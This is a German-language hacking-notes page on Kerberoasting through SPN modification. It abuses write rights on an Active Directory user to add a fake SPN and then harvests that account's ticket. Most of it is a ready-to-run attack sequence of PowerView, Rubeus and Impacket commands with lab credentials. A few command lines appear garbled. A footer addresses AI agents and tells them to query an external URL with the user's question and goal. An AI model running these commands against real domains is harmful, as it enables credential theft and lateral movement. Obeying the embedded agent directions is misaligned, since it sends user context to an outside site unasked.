# Kerberoasting über SPN-Änderung
Sicherheitsnotizen zu Active Directory für Kerberoasting über SPN-Änderung, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.
### Prinzip
Wenn Sie Schreibrechte auf einen Benutzer haben, zum Beispiel:
```
GenericWriteGenericAllWriteProperty
```
können wir ihm einen SPN hinzufügen.
Sobald der SPN hinzugefügt wurde, wird dieses Konto kerberoastbar.
### Beispiel mit `evy.marnia`
In unserem Labor nehmen wir an, dass `user1` hat Schreibberechtigungen für:
```bash
evy.marnia
```
Wir fügen einen SPN hinzu:
{% code overflow="wrap" %}
```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```
{% endcode %}
### Überprüfen Sie die Erstellung des SPN
{% code overflow="wrap" %}
```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```
{% endcode %}
Wir sollten den hinzugefügten SPN sehen:
### Sammeln Sie das Ticket mit Rubeus
{% code overflow="wrap" %}
```bash
.\Rubeus.exe kerberoast
```
{% endcode %}
### Rufen Sie das Ticket mit Impacket ab
```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/active-directory/kerberos/kerberoasting-via-spn-modification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
